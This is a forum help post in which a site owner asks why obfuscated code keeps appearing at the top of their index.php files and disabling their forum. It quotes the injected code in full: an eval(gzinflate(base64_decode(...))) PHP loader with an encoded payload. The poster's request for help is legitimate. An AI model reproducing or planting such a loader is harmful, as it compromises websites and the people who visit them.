This has happened a few times now. Can someone tell me how this code keeps getting injected into my index.php files? It disables the forum. Seems easy enough to remove, but I've been hit with it like 3 times now, and I need to figure out why and how to stop this! Can anyone tell me where this is coming from and how to secure my server/forum?
This was at the top of my main index.php file...and just about all other index.php files.
This was at the top of my main index.php file...and just about all other index.php files.
PHP Code:
<?php eval(gzinflate(base64_decode('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')));?>
Comment